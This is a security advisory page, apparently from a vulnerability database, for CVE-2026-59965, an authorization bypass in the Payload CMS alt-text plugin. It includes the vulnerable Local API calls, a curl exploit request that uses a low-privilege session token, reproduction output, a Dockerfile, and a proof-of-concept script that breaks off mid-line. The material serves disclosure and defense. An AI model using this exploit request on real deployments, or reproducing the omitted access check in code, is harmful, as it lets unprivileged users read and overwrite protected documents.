high

CVE-2026-59965

npm · @jhb.software/payload-alt-text-plugin

Summary

@jhb.software/payload-alt-text-plugin: Alt Text Endpoint Authorization Bypass via Payload Local API `overrideAccess` Omission

Severity
high
CVSS
7.1
CWE
CWE-863
Also known as
GHSA-4qpv-39hg-f7fx
Published
2026-09-10
Updated
2026-09-10

Advisory details

Alt Text Endpoint Authorization Bypass via Payload Local API overrideAccess Omission

Summary

@jhb.software/payload-alt-text-plugin v0.7.0 exposes custom Payload CMS endpoints (POST /api/alt-text-plugin/generate and /bulk) that call the Payload Local API (findByID and update) without setting overrideAccess: false. Because Payload's internal logic evaluates shouldOverrideAccess = overrideAccess !== false, omitting the parameter causes it to default to true, silently bypassing all collection-level access control functions. Any authenticated user — regardless of role — can read and overwrite the alt and keywords fields of arbitrary upload documents that would otherwise be protected by restrictive collection access rules. The vulnerability is rated High (CVSS 7.1).

Details

The plugin registers two network endpoints in alt-text/src/plugin.ts:179-186. Their default access guard (plugin.ts:55) only checks !!req.user, meaning any authenticated session satisfies the check regardless of the role required by the underlying collection.

The endpoint handler at alt-text/src/endpoints/generateAltText.ts accepts user-controlled id, collection, locale, and update fields from the request body (line 29), then passes them directly to two unsecured Local API calls:

Read bypass (generateAltText.ts:31):

const imageDoc = await req.payload.findByID({
  id,
  collection,
  depth: 0,
  // overrideAccess: false is absent → defaults to true
})

Write bypass (generateAltText.ts:121):

await req.payload.update({
  id,
  collection,
  data: {
    alt: result.result.altText,
    keywords: result.result.keywords,
  },
  locale: targetLocale,
  // overrideAccess: false is absent → defaults to true
})

The bulk endpoint (alt-text/src/endpoints/bulkGenerateAltTexts.ts) repeats the same pattern at lines 120 (read) and 170 (write).

Payload's internal resolution of overrideAccess is:

shouldOverrideAccess = overrideAccess !== false
// undefined !== false → true → collection access function is never called

Because the collection-level read and update access functions are never invoked, any attacker with a valid session can target documents in any upload collection, regardless of how that collection's access is configured.

PoC

Environment setup:

  1. Clone the repository and install @jhb.software/payload-alt-text-plugin@0.7.0 into a Payload v3 project.
  2. Configure an upload collection named media with read and update access restricted to users with role: "admin".
  3. Configure the plugin with collections: ["media"] and a resolver that returns { success: true, result: { altText: "PWNED_BY_EXPLOIT", keywords: ["hacked", "bypass"] } }.
  4. As an admin, create a media document (e.g., ID doc-001) with alt = "original safe alt text".
  5. Obtain a session token for a non-admin user (role: "user").

Build and run the dynamic PoC (Docker):

# Build
docker build -t vuln001-poc -f vuln-001/Dockerfile .

# Run
docker run --rm vuln001-poc

Exploit request:

curl -i -b "payload-token=<LOW_PRIV_TOKEN>" \
  -H "Content-Type: application/json" \
  -X POST http://localhost:3000/api/alt-text-plugin/generate \
  --data '{"collection":"media","id":"doc-001","locale":"en","update":true}'

Expected result:

Control verification (confirms the bypass is real, not a misconfiguration):

A direct Local API call with overrideAccess: false by the same non-admin user throws AccessError: update denied for collection "media" (user role: user), proving that the access rule is correct and the plugin endpoint is the vector.

Dynamic reproduction output (Phase 2 confirmed):

VULN-001: Alt Text endpoint authorization bypass
  Payload Local API overrideAccess omission in
  generateAltText.ts:31 and :121

[Step 1] Control: non-admin direct update with overrideAccess:false
  PASS: access correctly denied → AccessError

[Step 3] EXPLOIT: non-admin calls POST /api/alt-text-plugin/generate
  HTTP status : 200
  Response    : {"id":"doc-001","collection":"media","altText":"PWNED_BY_EXPLOIT","keywords":["hacked","bypass"]}

VULNERABILITY CONFIRMED — EXPLOITATION SUCCESSFUL

Impact

This is an Incorrect Authorization vulnerability (CWE-863). The plugin's endpoints act as an authorization bypass tunnel into Payload's Local API. Any authenticated user — a subscriber, editor, or any low-privilege role — can:

  1. Read the content of arbitrary upload documents that collection access rules would otherwise deny them.
  2. Overwrite the alt text and keywords fields on those documents, effectively performing unauthorized content modification.

Operators who restrict upload collection access by role (a common production pattern) are fully impacted. Attackers do not need admin credentials; any valid session suffices. The vulnerability is exploitable on all default deployments where the plugin is enabled, with no special configuration required on the attacker's side.

Reproduction artifacts

Dockerfile

# Dockerfile for VULN-001 dynamic reproduction
#
# Build context: the parent directory that contains both
#   repo/          (jhb-software/payload-plugins clone)
#   vuln-001/      (this workspace)
#
# Build:  docker build -t vuln001-poc -f vuln-001/Dockerfile .
# Run:    docker run --rm vuln001-poc

FROM node:22-slim

WORKDIR /app

# ---- Copy plugin source files required by the PoC ----
# Only the endpoint under test and its direct dependencies are needed.
# No Payload framework install required: we mock it in the PoC.

COPY repo/alt-text/src/endpoints/generateAltText.ts  ./plugin/src/endpoints/generateAltText.ts
COPY repo/alt-text/src/endpoints/schemas.ts          ./plugin/src/endpoints/schemas.ts
COPY repo/alt-text/src/utilities/mimeTypes.ts        ./plugin/src/utilities/mimeTypes.ts
COPY repo/alt-text/src/types/AltTextPluginConfig.ts  ./plugin/src/types/AltTextPluginConfig.ts
COPY repo/alt-text/src/resolvers/types.ts            ./plugin/src/resolvers/types.ts

# ---- Copy PoC files ----
COPY vuln-001/package_inner.json ./package.json
COPY vuln-001/inner_poc.ts       ./inner_poc.ts

# ---- Install minimal runtime dependencies ----
# zod: schema validation used by the endpoint handler
# tsx:  TypeScript executor that handles .js→.ts extension mapping
RUN npm install --no-audit --no-fund

# ---- Run the PoC ----
CMD ["node_modules/.bin/tsx", "inner_poc.ts"]

poc.py

#!/usr/bin/env python3
"""
poc.py — VULN-001 Dynamic Reproduction Orchestrator

Vulnerability: @jhb.software/payload-alt-text-plugin v0.7.0
Title: Alt Text endpoint authorization bypass via Payload Local API overrideAccess omission
CWE: CWE-863 (Incorrect Authorization)

This script:
  1. Builds a Docker image containing the real plugin endpoint source.
  2. Runs the container, which calls the endpoint handler with a non-admin user.
  3. Captures stdout/stderr as evidence.
  4. Writes the result to phase2_result.json.

Usage:
  python3 poc.py

Safety:
  - All traffic stays on 127.0.0.1 / localhost inside Docker.
  - No external services are contacted.
  - No live credentials are used.
"""

import json
import os
import subprocess
import sys

# ---------------------------------------------------------------------------
# Paths
# ---------------------------------------------------------------------------

THIS_DIR = os.path.dirname(os.path.abspath(__file__))
# Build context: parent directory that contains both repo/ and vuln-001/
BUILD_CONTEXT = os.path.dirname(THIS_DIR)
DOCKERFILE = os.path.join(THIS_DIR, "Dockerfile")
IMAGE_TAG = "vuln001-poc"
RES

References

Related advisories

Is your project exposed to this? Stateward checks every dependency on every pull request and flags it only if your code actually reaches it.

Check my repo

Summarize with AI

ChatGPTClaudePerplexity

Sources: CISA KEV (public domain), OSV.dev & GitHub Advisory Database (CC-BY-4.0), FIRST EPSS, NVD/CWE (public domain). Served live from the Stateward advisory database.